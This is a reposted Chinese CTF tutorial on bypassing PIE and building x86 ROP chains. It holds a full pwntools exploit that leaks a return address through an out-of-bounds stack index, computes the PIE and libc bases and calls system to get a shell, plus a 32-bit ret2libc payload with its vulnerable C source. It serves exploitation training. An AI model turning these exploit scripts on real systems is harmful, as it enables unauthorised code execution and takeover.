pie的繞過方式


目標程序下載
提取碼:qk1y

1.檢查程序開啟了哪些安全保護機制

pie機制簡介

PIE(position-independent executable) 是一個針對代碼段.text, 數據段.*data,.bss等固定地址的一個防護技術。同ASLR一樣,應用了PIE的程序會在每次加載時都變換加載基址

pie機制怎么繞過

雖然程序每次運行的基址會變,但程序中的各段的相對偏移是不會變的,只要泄露出來一個地址,比如函數棧幀中的返回地址
,通過ida靜態的看他的程序地址,就能算出基址,從而實現繞過

2.在IDA中查找碼漏洞與可以被我們利用的位置

從這里可以看到 v1被當做v4的下標,v1還是可控的,這樣就可以實現棧上的任意位置讀寫

首先,我們感興趣的肯定是這個函數的返回地址,正常來說,是返回這里的

用匯編看下地址

正常來說B35這個函數返回后應該是0xb11這個位置,如果拿到了程序運行時的b35函數的返回地址

然后把他減去0xb11,就是這次程序運行的基地址了

只不過這個程序有些麻煩,還要一個字節一個字節的輸入,scanf 中的 %d 格式輸入

  #!/usr/bin/python
  #coding=utf-8
  from pwn import *

  #context.log_level = "debug"
  context.arch = "amd64"
  context.terminal = ["tmux","splitw","-h"]

  p = process("./pie") #本地調試
  #p = remote("x.x.x.x",xxxx) #遠程調試remote(ip,port)
  libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
  elf = ELF("./pie")

  p.sendlineafter('name:','aa')

  def leak(num):
      p.sendlineafter('input index\n',str(num))
      p.recvuntil('now value(hex) ')
      return p.recvline()

  def writeN(num):
      p.sendlineafter('input new value\n',str(int(num,16)))


  #算出pie的偏移量
  retAddr=''
  for i in range(8): 				  #leak出當前函數的返回地址
      AddrPart=leak(0x158+i)[-3:-1] #0x158是rbp后一個地址
      if len(AddrPart) == 1:
	      AddrPart='0'+AddrPart
      retAddr=AddrPart+retAddr		
      writeN('0')
  pie=int(retAddr,16)-0xb11
  log.success("pie:"+hex(pie))

  puts_plt = elf.plt["puts"]+pie
  puts_got = elf.got["puts"]+pie
  pop_rdi_ret=0xd03+pie
  leakFun=0xb35+pie

  def readHex(offset,value):
      value=hex(value)[2:]
      if len(value) < 16:
       	      value=(16-len(value))*'0'+value
      leak(offset*8+0x158)			
      writeN(value[-2:])
      for i in range(1,8):
	      leak(offset*8+0x158+i)			
	      writeN(value[-2*(1+i):-2*i])

  readHex(0,pop_rdi_ret)
  readHex(1,puts_got)
  readHex(2,puts_plt)
  readHex(3,leakFun)
  leak(0)		#因為是要循環41次,這里多加一次無用,讓他結束	
  writeN('0')
  p.sendlineafter('do you want continue(yes/no)? \n','yes')

  puts_addr = u64(p.recv(6).ljust(8,"\x00"))    
  log.success("puts addr:"+hex(puts_addr))
  libc.address = puts_addr - libc.symbols["puts"]
  log.success("libc addr:"+hex(libc.address))
  system = libc.symbols["system"]
  log.success("system:"+hex(system))

  readHex(0,system)

  readHex(1,0)
  readHex(1,0)
  readHex(1,0)
  readHex(1,0)
  #gdb.attach(p)
  leak(0)		
  writeN('0')

  p.sendlineafter('do you want continue(yes/no)? \n','sh')
  #這里的sh正好會保存到rsi里去
  p.interactive() 
成功獲得了shell

X86 ROP鏈

每一個函數內部的棧空間都是這樣分部的

int a(int b,int c,int d){
	return b+c+d;
}
int main(){
	a(1,2,3);
	return 0;
}
//剛剛進入a函數時的棧
00:0000│ esp  0xffffd590 —▸ 0x8048465 (main+28) ◂— add    esp, 0xc // 注1
01:0004│      0xffffd594 ◂— 0x1									// 注2
02:0008│      0xffffd598 ◂— 0x2									// 注3
03:000c│      0xffffd59c ◂— 0x3									// 注4

第一個為a函數的返回main函數的位置,也就是a的返回地址。后面的是參數

如果把返回地址(注1)改寫為 read 函數地址,那么(注2)的位置就是 read 函數結束后的返回位置,(注3)的位置就是 read 的第一個參數,(注4)為第二個參數,以此類推。

當程序需要多個函數才能 getshell 那么(注2)的位需要寫一個ROPgadget 的地址,把棧中的東西彈出去,后面再寫一個函數地址,然后函數返回地址、參數

例子:

#include<stdio.h>
#include<unistd.h>
void fun()
{
	char name[4];
	puts("you name:");
	read(0,name,200);
	puts(name);
}

int main()
{
	fun();
    return 0;
}
$ g++ -m32 -o x86Rop a.c -fno-stack-protector  //以32位程序編譯,並且沒有canary

解:

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
fun_addr= 0x804843B

junk='junk'*4
payload=junk+p32(puts_plt)+p32(fun_addr)+p32(puts_got)

#gdb.attach(p)
p.sendlineafter('you name:\n',payload)

p.recvline()
p.recvline()
puts_addr = u32(p.recv(4))

libc.address = puts_addr - libc.symbols["puts"]
log.success("libc addr:"+hex(libc.address))
system = libc.symbols["system"]
log.success("system:"+hex(system))
binsh=libc.search("/bin/sh").next()

payload=junk+p32(system)+p32(0)+p32(binsh)
p.sendlineafter('you name:\n',payload)
p.interactive()

或者最后的payload也可以寫能

偽代碼:

read + pop_pop _pop_ret + 0 + bss_addr + 8 + system + p32(無所謂) + bss_addr

的形式


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM